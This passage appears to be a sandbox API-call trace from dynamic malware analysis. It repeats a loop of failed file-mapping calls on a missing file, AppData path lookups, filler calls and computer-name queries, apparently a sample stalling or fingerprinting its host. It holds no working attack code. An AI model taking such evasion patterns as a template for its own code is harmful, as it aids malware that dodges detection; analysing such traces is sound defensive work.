nSize=0x19f450) returned 1 [0145.186] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.186] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.186] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.186] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.186] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.186] CloseHandle (hObject=0x0) returned 0 [0145.186] CloseHandle (hObject=0xffffffff) returned 1 [0145.186] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.186] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.186] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.186] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.186] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.186] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.186] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.186] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.186] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.186] CloseHandle (hObject=0x0) returned 0 [0145.187] CloseHandle (hObject=0xffffffff) returned 1 [0145.187] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.187] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.187] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.187] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.187] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.187] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.187] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.187] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.187] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.187] CloseHandle (hObject=0x0) returned 0 [0145.187] CloseHandle (hObject=0xffffffff) returned 1 [0145.187] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.187] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.187] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.187] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.187] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.187] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.187] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.187] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.187] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.187] CloseHandle (hObject=0x0) returned 0 [0145.187] CloseHandle (hObject=0xffffffff) returned 1 [0145.187] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.187] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.188] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.188] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.188] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.188] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.188] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.188] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.188] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.188] CloseHandle (hObject=0x0) returned 0 [0145.188] CloseHandle (hObject=0xffffffff) returned 1 [0145.188] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.188] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.188] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.188] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.188] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.188] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.188] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.188] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.188] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.189] CloseHandle (hObject=0x0) returned 0 [0145.189] CloseHandle (hObject=0xffffffff) returned 1 [0145.189] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.189] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.189] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.189] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.189] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.189] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.189] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.189] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.189] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.189] CloseHandle (hObject=0x0) returned 0 [0145.189] CloseHandle (hObject=0xffffffff) returned 1 [0145.189] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.189] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.189] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.189] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.189] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.189] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.189] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.189] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.189] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.189] CloseHandle (hObject=0x0) returned 0 [0145.189] CloseHandle (hObject=0xffffffff) returned 1 [0145.189] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.190] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.190] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.190] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.190] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.190] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.190] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.190] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.190] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.190] CloseHandle (hObject=0x0) returned 0 [0145.190] CloseHandle (hObject=0xffffffff) returned 1 [0145.190] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.190] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.190] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.190] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.190] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.190] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.190] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.190] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.191] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.191] CloseHandle (hObject=0x0) returned 0 [0145.191] CloseHandle (hObject=0xffffffff) returned 1 [0145.191] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.191] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.191] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.191] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.191] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.191] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.191] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.191] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.191] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.191] CloseHandle (hObject=0x0) returned 0 [0145.191] CloseHandle (hObject=0xffffffff) returned 1 [0145.191] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.191] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.191] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.191] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.191] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.191] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.191] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.191] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.191] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.191] CloseHandle (hObject=0x0) returned 0 [0145.191] CloseHandle (hObject=0xffffffff) returned 1 [0145.192] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.192] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.192] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.192] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.192] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.192] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.192] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.192] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.192] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.192] CloseHandle (hObject=0x0) returned 0 [0145.192] CloseHandle (hObject=0xffffffff) returned 1 [0145.192] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.192] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.192] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.192] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.192] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.192] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.192] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.192] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.192] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.192] CloseHandle (hObject=0x0) returned 0 [0145.192] CloseHandle (hObject=0xffffffff) returned 1 [0145.192] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.192] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.192] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.193] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.193] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.193] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.193] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.193] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.193] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.193] CloseHandle (hObject=0x0) returned 0 [0145.193] CloseHandle (hObject=0xffffffff) returned 1 [0145.193] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.193] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.193] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.193] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.193] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.193] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.193] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.193] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.193] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.193] CloseHandle (hObject=0x0) returned 0 [0145.194] CloseHandle (hObject=0xffffffff) returned 1 [0145.194] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.194] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.194] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.194] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.194] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.194] GetFileSize (in: hFile=0xffffffff, lpFileSizeHigh=0x0 | out: lpFileSizeHigh=0x0) returned 0xffffffff [0145.194] CreateFileMappingW (hFile=0xffffffff, lpFileMappingAttributes=0x0, flProtect=0x2, dwMaximumSizeHigh=0x0, dwMaximumSizeLow=0x0, lpName="T") returned 0x0 [0145.194] MapViewOfFile (hFileMappingObject=0x0, dwDesiredAccess=0x4, dwFileOffsetHigh=0x0, dwFileOffsetLow=0x0, dwNumberOfBytesToMap=0xffffffff) returned 0x0 [0145.194] UnmapViewOfFile (lpBaseAddress=0x0) returned 0 [0145.194] CloseHandle (hObject=0x0) returned 0 [0145.194] CloseHandle (hObject=0xffffffff) returned 1 [0145.194] SHGetFolderPathA (in: hwnd=0x0, csidl=26, hToken=0x0, dwFlags=0x0, pszPath=0x19fab0 | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming") returned 0x0 [0145.194] ColorRGBToHLS (in: clrRGB=0x0, pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468 | out: pwHue=0x19f460, pwLuminance=0x19f464, pwSaturation=0x19f468) [0145.194] ImageList_GetIconSize (in: himl=0x0, cx=0x4991a0, cy=0x4991a4 | out: cx=0x4991a0, cy=0x4991a4) returned 0 [0145.194] GetComputerNameExW (in: NameType=0x4, lpBuffer=0x19f6b0, nSize=0x19f450 | out: lpBuffer="NQDPDE", nSize=0x19f450) returned 1 [0145.194] CreateFileW (lpFileName="g" (normalized: "c:\\users\\fd1hvy\\desktop\\g"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x10000000, hTemplateFile=0x0) returned 0xffffffff [0145.194] GetFileSize 